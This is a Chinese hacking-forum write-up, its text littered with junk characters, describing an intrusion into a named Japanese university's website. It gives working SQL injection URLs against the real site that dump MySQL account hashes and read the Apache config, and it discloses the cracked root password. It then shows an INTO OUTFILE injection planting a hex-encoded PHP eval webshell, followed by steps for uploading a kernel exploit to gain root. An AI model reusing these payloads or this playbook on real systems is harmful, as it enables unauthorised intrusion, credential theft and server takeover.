入侵日本同志社大学技术分析- O; a5 o- _% I* e$ ^" t$ `# _( n8 M
! P' p/ o' m$ i: ~4 t
http://www.doshisha.ac.jp/chs/news/index.php?i=-1
( D: o h' Z* j( G) ~) J然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
( {- {& l" \! ]
( K* |, I, v2 V+ k% Lhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user: M8 C* [1 t+ o+ ?1 Y+ W- m7 f
% n7 W/ U$ p; P
% o3 f+ `+ Q0 J: P) k
3 s4 D" J" _* a9 q9 q//@@datadir为数据库文件路径 + Q0 i ~* k- P+ U1 z# Q+ F" F
3 Y; s8 _: G$ [: s+ F7 A- U$ h1 U: q9 G6 b; ?6 v2 H
//load_file读取网站容器apache的配置文件 8 v( j5 W+ b) P) K `# i5 v) a
$ ~" t( G. x: N2 |7 S
2 p$ a) ]( U: W5 |- w//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 , E: \4 I: ]0 n+ }
复制代码 z! {* ?0 \: f1 R' k7 a! Z7 D
m l3 K7 n3 D& B/ U% Q0 y U虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。. l; A( D) n* }
& c" M6 x9 L$ u0 Y而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
6 }, \/ K0 i3 M/ {4 f u(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)! k! X/ a) K x, J; X3 C9 C+ m2 R1 r
9 N I% K8 L5 m7 e前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
9 H% u8 ^/ Z* s如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html* I6 [3 i5 V! v
, |; ?0 j9 B( \* p) a- S
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
+ ]9 H; o# Y2 V/ m) r虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
6 t% X, m. ~) m& O" l( ?直接写一句话:% j U) w9 x; k! a( Y1 U, S
: o, Q# `3 n7 C' @1 L
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#$ k2 _5 t( u# H
& ^0 B$ Z; f0 u+ C' x( y( I4 o
1 c0 e# B8 K9 y+ c" G/ I2 O7 n! d* n3 o% Y5 x
//最后的#是为了闭合前面的语句 6 B+ H" j7 k7 Q+ `
* e) J5 i/ ~- I$ Z* r5 U5 g# u' G
* t# N; i$ }) g. J) t
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
0 ^2 O! K$ {9 I
- K3 ?. U$ e$ m% p: Y' }
0 F* }/ a1 N$ B2 H, ?4 K: _为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ , X! h4 m) f1 y, l6 _- E2 S0 k/ [
& `6 x6 p2 _% f$ I* d
5 x- L5 c. Q M//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 * N) G" b/ [: v& M- |# G4 ^
- q U! Y7 t4 O! l; d
" T0 o1 w% s: W//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误 % P% n7 p0 F- z v9 T- P2 e
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” - X6 W; C0 K5 m
复制代码
- K+ Z2 Q# F6 j9 D J- W% C/ m' R
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有' p. {3 e# }) A3 f5 E% l: H
通过上述注入语句,我们就得到了一句话木马:6 c' V: z t" d, N7 ?
, ^0 B0 o. D/ _+ @- O9 b1 n
6 n' O5 B+ ^% a& H; Q j* ^/ z- m- C. k z# l, P* w: Q/ f
" g1 y# { c; r0 N
4 f6 P0 [2 r* ~, Z& b" x& `http://www.doshisha.ac.jp/english/engnews_img/aa.php ' ^. o4 g; c, d- _9 f( r/ L
复制代码- O1 n, r) o3 r& _+ H3 F7 l
5 @+ [& ?" |: R3 h2 N9 i用菜刀连接,密码是cmd,如图所示:8 [/ `. {3 q% Q; X* Z
然后在命令提示行里看了一下,现在的权限是:( O6 K+ U; L% h7 U. [ H, [! C( ^
9 _5 C0 Y" C% n: c: B9 {
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
1 G* c3 g' a# T; O) @' c好在赋权给这个文件夹不需要root,直接执行赋权语句:' Z: _# U, b: U/ i% m9 o) b
# V' R) ^ }8 m7 j 2 S% k- y8 B P/ }. N- ~
% @- B- I! d/ d( N5 D1 L. L% Q
z9 l, x3 f6 u ?
7 u# v# [; o& I# v: s' Y. A. n/ d, E
chmod +x /tmp/
" ~% h" j- B9 W. C: L! N复制代码7 x3 v' Z3 E2 M3 {; [, m
8 R) p2 U! `1 P
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
& n+ T4 V: Q* c! e/ I4 ]( j$ f, g [然后就查了一下内核版本:* x) t% M0 _( q* X& f) t
0 s) |, @7 L1 M# ?* O
; u+ c! M- E; c! ]
/ p7 n" ^* f* r: w % ]3 W4 @: E; \
; K+ d7 s! C/ T5 f& |6 l: k, B5 |
uname-a 9 N, s- {" Z* P) |9 o+ P
3 P2 x# y! n$ d1 g1 S
/ c# ~' [% {/ U, Q# R) h" w//其实lsb_release -a
( c4 G7 d- A" y1 k6 `复制代码
; [1 G9 d& H$ Q1 j) q0 ?& \
L) K/ l8 F% u$ b D! m: r( }如图所示:5 r* Y; p7 F6 N- C
$ H3 X9 A( U* O" E. ^内核版本:linux mainz1 2.6.28-194.e150 @; ~5 q3 d" d, F: w% h2 |1 F
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)) D: d! f9 g9 Z: V( `( U
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
9 C f! D% O- Q0 j B2 i" z# P U1 f
然后给予执行权限
6 O o4 \9 f( P1 ]+ I9 f5 {一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样1 x7 c7 y* ^9 Z! Z' c& z, J
0 u8 {+ n% C! P2 r; o5 m$ q/ }8 e% X
$ }2 L6 k8 \( l# m# A
8 r5 o+ A7 V( l 4 ?5 v; V! W E( y* Q
+ d% G- [- G* g7 }
chmod +x /tmp/2.6.18-194 / G3 J4 q! M) ~* s, r! u
复制代码 然后直接执行!~
; G6 E" J% n1 v3 ]$ n# p* f- R0 p3 f; U) ]( n0 o1 j6 o0 S
总结:5 ]% _/ g6 o, P5 D7 M4 J
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了# Q0 R8 q, R+ @4 _1 G, B* w, t
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
0 v4 w5 X0 T1 n* y! @7 o
, Z E+ S! ~7 D5 r+ B+ ]$ @) X |